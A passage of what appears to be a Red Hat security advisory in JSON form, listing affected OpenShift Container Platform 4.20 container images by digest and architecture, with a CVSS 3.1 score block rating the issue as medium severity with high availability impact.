"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5571dc60fd35ac8fc45f1632859804ec7f6b261b131bd8a1f68ab4de49c79a08_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:638bf4691fd54f1854134c0a350a18956f2d4e33367775c35882bbffad8a085e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e7665d0ff02bafdf87f7cf26d8f9364504b6019a582381408cf5f6bbb8a6b2c0_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:ebf9d8e110fdd0eb92437bb9948019dd5caaaa13dff3bbdacf99caf98a11f701_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:49bd024d3d99fb1ad7bab883c7e5f660183c3146ca927b6d7ddceeeddfcba157_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:b66789383841ab46f31f467fa319ec01d202f7f69739ff4d251b4af0a6c9e6e6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:c346d06d42db2adc95274fdad624981452835dde285b7f44bf72a8d362ce73bb_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:cb690ce1b790312c809730ce08830a3fd43ff06a3136c57256952cd7bbe13d55_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:624021ed9404e77d1417862044df4b04fa3fe3dc026b03ea54a2b87d4376d387_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:a1bd5af44e35c68359b7bc642c195a557a25e15f41124b5874fc1e51ee299bf3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:ee697ce277502f25541e9973db31e142af9c4419849a50d0a020c61afcc48c33_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:fdea6c63c595dc8b02cef15286aeb3ddc3bfe0193de45201d0cfb11a3bcd589f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:522a646576645bcbf84710a97c8f89c577d55a22f1d8d1c868135d1d8ecbe34c_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:81c0cf537924384b7ef75b604e5941fc51fe049641622c4b772852788da14097_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:89f57abd15554b50bd27019be5438490bd6207d18d457607603c511a054f1b7a_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:9c0de5f2f719b24731c4a5aaa2e1b40d661e67a72fe0d3caac4271f9e9d5ead5_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1b57935b2c9a488ef21e6d66ad07c2e25a1737b0e0641319fbe7710a24e01e4b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:365ac58c2af582f184d3f62beaa48d15f3981e4d8da0cbbb8c93ec6986243b51_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:38eb1cac78fe34949a20dbc1cc949f4d2861d9db7ada1de0e5ed29279901f408_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:d3125750bd9da51e7a35ef16af331b8a2b3dc157b3fa471629fb616322e35fc9_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:1a8f96819a4c2b6c5d8d3d16e7f2d86cd98fec4d54aadc93d577114787713537_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:640edf3a82ee8b13796051e101e647b2378da417e14a1dff18ce501e4fd37bb3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:c7a464e13822761ca8082145086084a7ee99dac69eaf2499ae3a216840866dac_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:f01be0e96604d69f4c4e9e4363da99fab82220b72e34accaedd7c62f3e510f2d_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:050d6a3c89ac2be7115949ac33afe56a690b5d56775be5f1f004902ba056da20_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:3170599804e9cf0f6ee3edf955f2d9b34a462a3cf1fb667a2db53ccc9498724c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:74ed6313652eb904df6f81151b9c829c01f7304c6872071a100a65ada5679978_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:8f505384a22a337f1ac2c2b76051e4cee2a60b638cebe734816ff49bb1fb0b9f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7154ccb28376771fbbb8754ddd010672548c43fbec531e0cfdf3007a8efd882c_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7c254637daf1b7564394c9a6425b9dec8a711e27ccfc659d5a55471c218b14cd_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:ad266469369890878063a4e0793c144bf73be0c963be65f154f3e8988c666fe2_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:fe01dc34d6ef1faf09be0e5b4fd7c9c0db4baafc8fdd77ab61d25167c80e8a53_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:c731759826eeaffcc98dcc86e890adc3dcbc3497761bbebe04265892e782963d_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:dcaeb66077a2e78128d7ddc7b03ec9501f65c14f068948a9fbb82245927f2d04_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:06a4c88d17ea03dbcaf83bfbf36d42ae4e288218477c11ba8bdbb45eb5b3ca56_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:387d5a03bce1e6b80a36582c2959e6c0569cbce7f49b5c29297c4eae1fa89a4f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:3ddb9e724e529e60d4b0669d5630f661f416c4e762c60d25b70573b40ef131b3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:cbe78a9f8013acf7217363c5512cb61b16db26ade6a00b3ec9bad7b534ea6c97_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:0f70afc8fc44153005b719e423b9414a806f52a1f0a0eaf383214e7aeb0d1d43_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9e2ca3a4a43f24bb081c0d1a20350a9086e93dcbdc617b561fcc39369273b32e_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:a66f68ebb39a0474bc89255b465750e203dabacfdec098ec20c14b7adb7e26af_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:f811943f27e46556496a9833e20192a53b11d441660f8815b32f5afbc1eddd0e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:1a7ac4b64621194572606055e495c964f0061619156b58db38e5e3ed0d63b359_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:7acd95b189ae4b09922c757de90a1855a91ec8d185144ef19027bd0ff1c9f522_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:8caabe7828c7c1df3b1edf2585a48055615ff16becb6149a8d558ce9ce717862_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:c37cf3696e1b4c67f30d7a42f324606c6814e61ddbe3e5520e0a7a0a0242ed6d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:0c87c80a5bccd9225c9d1faa85ea7d0deed337a138fadb0412af6590fd9f96b4_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6e40ba6ae462a707631a6f8496ae597f811f3eaef98bdfcc0d0dedb0dcdc1575_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6ecb5789c21c2bf45a3312bd7116f847a3b15646009fed0031a6cf160306e965_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:7a55683ac150ed1a4ec96017f62099116b81d07a0b0277a6eaab06cc2064116b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:3b6e1dbf5de0caacb2cd524ca40193db89ec825360c0dfd8e1f3af197f4539dd_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:6a598579673f0a81e14f17fc463ee4f6bb3cfa937f281bd089b479b5155980d6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:ad1759daee6b18fa3267b578c75fb178730319d1cd9527a21fb9836ddc4facac_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:babce324aa37ddf6db4514c1a697a4f2769775426fb59c635d2c8702e9952153_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:48b50cb476bad0b50177ddf4d801d8a953249f4c5a268d2822d16ed4845bf33f_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:590285997861e1233f792b5f371e9897086fd3b217a4840c5bfa971118472c94_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9c1401fe5364b8ba3a069ac69a16e60d09f54e1dc17f30bdd438933f60474b8f_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9f4ff8acdc663301d308156bb2c56d68379a95fa087bc71f41a699a8ed08eba9_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:20c651f23e57bce386239c12ad3e2a19aa3220ef5c89c2561cad7bd40476d4c0_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:3fa417f375c4d41175b700a1a44f7dbd60f58a9337b1202720696f84d347fda9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:44f8632e12b1a2e798c518cccff5aff1ebdfc1cdda8a4bb044ed01e322aa1f2c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:b081739ac1afa49e7a1eb8f73b76bd30241c056eb55ed06d2845002368571fb3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:2f154bdf369c1e9b9981b9478399f8bb870aad53bd5f33420a74bfdfd942ae8d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:5d44a3b19601304824c82cb302a575d2ffa8e7085d02abfaae925af1b2908eaf_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:8d50532844d79c853a38a59c62ad4e6ea253e5ca6d54a81791b38922053f9ddd_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:db6900b8ab7297ae4b098c821386069cba11b54e0211f726607a108b74969067_arm64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:3bbdf23c749d068f766d18fccd5e5ae23ff90a5565d8f5101b551113cfb6c123_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:979314a23724ebc8de0be49aa32b8f420179125c695ca48549f541e59337e1b2_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:98636cb3a8c474d6564ee277234bfa6f8bd4bc74a8a5327c4eb21b26c2c9d626_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:f7cbd75d0671200c3af39c481f36478676c328f47692c1f2c1b46429470eb9bf_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:3cb1ef218d08069307b9cb1013d1a3814567df8ec55f64ddd9b72f5790a03f3c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:450a1c77d36771a98dfa96bb128a066192871becc7ff3edd5da3f9839de5b87b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:647e915e236daa81b0001b61dcfdbea5cb999a844ec0d52f7d0dd4e224cbcbb9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:bf4b64740a63a1f6e541d92128c9237fdd813a52536ed1273983946e3c215f7f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:203ec72895a613490e467305fd2ad96e620d4ea8631b44117be4f7227cb3d162_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:86e58cc04993c9ebb62ff13f8c9e38fcb1dd1bbdd7f5474a8c6de3a73b628492_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:89275d5e3701e681b789e2c80377bdc124c617ccf1fea892fcd9342647ee4e13_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:8ec539591813dd64b6e220480649aceb0f20ac8dbaccf29f5852805fe2d653c6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:06e3ee0cbdc2f1b3ad5e51bacf75c05cf7f156f8ab0ab451ae0d7849095c35a4_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:8dc3a7e099280b53633b6dc3bddcade1de7720e6b26689b99b13f146675c4f5b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:e926f2b13e47bf18d2109a39fb2023f112df68ce206f797f60aabe688b203bde_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:ecd2f1b4154e0e1a82956378e620ff618383e341b7ad7571c4c1fbec55a2db5b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:29d98fcb36f650c7bc94edf306894f4add6d8470dd75ef1b9d2f86a96f7eeefb_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b3a9fee448a212907122556f9d2b6441122cd09f03fd85b953db0f06527cd841_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b9a359fca4093efb9deaf581963244e67abfc7afc3ec6df558cc1525adaed085_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:e6d546338774b75c347f1c00f01897d2c18bcc02aae73801c888a1c0bc7159a9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:fe589677a60e47f089add4a8662d7a5bb018d149bd40951450afcad9459d0868_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:0265e523cbb12746ce518597e1f2ae8dfed5a4f108410d74a284429511d7dd80_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:06833bd27e40dd3a770cac2b4bc943cbbcc005409df8bcb8da465c2f4cfe25e3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3e44064c6c2f51f5d59267cb3be081e525227b412f84cdf982239a7340c5a0b6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:89c39898050cee289a3d05bace758ad4551a9dcb4b55467dff1b70ef304e227a_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:7b5d98fb5c01c84f70fdd05e5ca4ea35f580eacf123fd70744dd207e90ac8ecc_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:dcb687dac46dfcb5190a00860a358b63304e344ee233605c69442ae784df50a7_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5571dc60fd35ac8fc45f1632859804ec7f6b261b131bd8a1f68ab4de49c79a08_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:638bf4691fd54f1854134c0a350a18956f2d4e33367775c35882bbffad8a085e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e7665d0ff02bafdf87f7cf26d8f9364504b6019a582381408cf5f6bbb8a6b2c0_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:ebf9d8e110fdd0eb92437bb9948019dd5caaaa13dff3bbdacf99caf98a11f701_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:49bd024d3d99fb1ad7bab883c7e5f660183c3146ca927b6d7ddceeeddfcba157_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:b66789383841ab46f31f467fa319ec01d202f7f69739ff4d251b4af0a6c9e6e6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:c346d06d42db2adc95274fdad624981452835dde285b7f44bf72a8d362ce73bb_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:cb690ce1b790312c809730ce08830a3fd43ff06a3136c57256952cd7bbe13d55_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:624021ed9404e77d1417862044df4b04fa3fe3dc026b03ea54a2b87d4376d387_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:a1bd5af44e35c68359b7bc642c195a557a25e15f41124b5874fc1e51ee299bf3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:ee697ce277502f25541e9973db31e142af9c4419849a50d0a020c61afcc48c33_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:fdea6c63c595dc8b02cef15286aeb3ddc3bfe0193de45201d0cfb11a3bcd589f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:522a646576645bcbf84710a97c8f89c577d55a22f1d8d1c868135d1d8ecbe34c_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:81c0cf537924384b7ef75b604e5941fc51fe049641622c4b772852788da14097_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:89f57abd15554b50bd27019be5438490bd6207d18d457607603c511a054f1b7a_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:9c0de5f2f719b24731c4a5aaa2e1b40d661e67a72fe0d3caac4271f9e9d5ead5_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1b57935b2c9a488ef21e6d66ad07c2e25a1737b0e0641319fbe7710a24e01e4b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:365ac58c2af582f184d3f62beaa48d15f3981e4d8da0cbbb8c93ec6986243b51_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:38eb1cac78fe34949a20dbc1cc949f4d2861d9db7ada1de0e5ed29279901f408_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:d3125750bd9da51e7a35ef16af331b8a2b3dc157b3fa471629fb616322e35fc9_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:1a8f96819a4c2b6c5d8d3d16e7f2d86cd98fec4d54aadc93d577114787713537_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:640edf3a82ee8b13796051e101e647b2378da417e14a1dff18ce501e4fd37bb3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:c7a464e13822761ca8082145086084a7ee99dac69eaf2499ae3a216840866dac_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:f01be0e96604d69f4c4e9e4363da99fab82220b72e34accaedd7c62f3e510f2d_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:050d6a3c89ac2be7115949ac33afe56a690b5d56775be5f1f004902ba056da20_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:3170599804e9cf0f6ee3edf955f2d9b34a462a3cf1fb667a2db53ccc9498724c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:74ed6313652eb904df6f81151b9c829c01f7304c6872071a100a65ada5679978_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:8f505384a22a337f1ac2c2b76051e4cee2a60b638cebe734816ff49bb1fb0b9f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7154ccb28376771fbbb8754ddd010672548c43fbec531e0cfdf3007a8efd882c_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7c254637daf1b7564394c9a6425b9dec8a711e27ccfc659d5a55471c218b14cd_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:ad266469369890878063a4e0793c144bf73be0c963be65f154f3e8988c666fe2_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:fe01dc34d6ef1faf09be0e5b4fd7c9c0db4baafc8fdd77ab61d25167c80e8a53_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:c731759826eeaffcc98dcc86e890adc3dcbc3497761bbebe04265892e782963d_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:dcaeb66077a2e78128d7ddc7b03ec9501f65c14f068948a9fbb82245927f2d04_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:06a4c88d17ea03dbcaf83bfbf36d42ae4e288218477c11ba8bdbb45eb5b3ca56_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:387d5a03bce1e6b80a36582c2959e6c0569cbce7f49b5c29297c4eae1fa89a4f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:3ddb9e724e529e60d4b0669d5630f661f416c4e762c60d25b70573b40ef131b3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:cbe78a9f8013acf7217363c5512cb61b16db26ade6a00b3ec9bad7b534ea6c97_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:0f70afc8fc44153005b719e423b9414a806f52a1f0a0eaf383214e7aeb0d1d43_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9e2ca3a4a43f24bb081c0d1a20350a9086e93dcbdc617b561fcc39369273b32e_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:a66f68ebb39a0474bc89255b465750e203dabacfdec098ec20c14b7adb7e26af_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:f811943f27e46556496a9833e20192a53b11d441660f8815b32f5afbc1eddd0e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:1a7ac4b64621194572606055e495c964f0061619156b58db38e5e3ed0d63b359_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:7acd95b189ae4b09922c757de90a1855a91ec8d185144ef19027bd0ff1c9f522_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:8caabe7828c7c1df3b1edf2585a48055615ff16becb6149a8d558ce9ce717862_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:c37cf3696e1b4c67f30d7a42f324606c6814e61ddbe3e5520e0a7a0a0242ed6d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:0c87c80a5bccd9225c9d1faa85ea7d0deed337a138fadb0412af6590fd9f96b4_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6e40ba6ae462a707631a6f8496ae597f811f3eaef98bdfcc0d0dedb0dcdc1575_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6ecb5789c21c2bf45a3312bd7116f847a3b15646009fed0031a6cf160306e965_amd64",
